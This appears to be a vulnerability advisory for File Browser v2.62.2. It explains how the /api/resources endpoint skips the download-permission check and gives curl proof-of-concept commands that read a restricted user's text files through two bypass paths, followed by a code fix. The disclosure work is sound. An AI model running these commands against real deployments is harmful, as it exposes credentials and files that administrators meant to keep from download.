File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check

Summary

The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:

file, err := files.NewFileInfo(&files.FileOptions{
    ...
    Content:    true,  // Always loads text content, no permission check
})

Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.

Compare with the three protected endpoints:

// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false

# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')

# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)

# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2

# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"

Impact

A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.

This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.

Suggested Fix

Match the existing endpoint behavior (HTTP 202 for denied downloads):

Content: d.user.Perm.Download,  // Only load content when permitted

And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:

if !d.user.Perm.Download {
    return http.StatusAccepted, nil
}

---

Update: Fix submitted as PR #5891.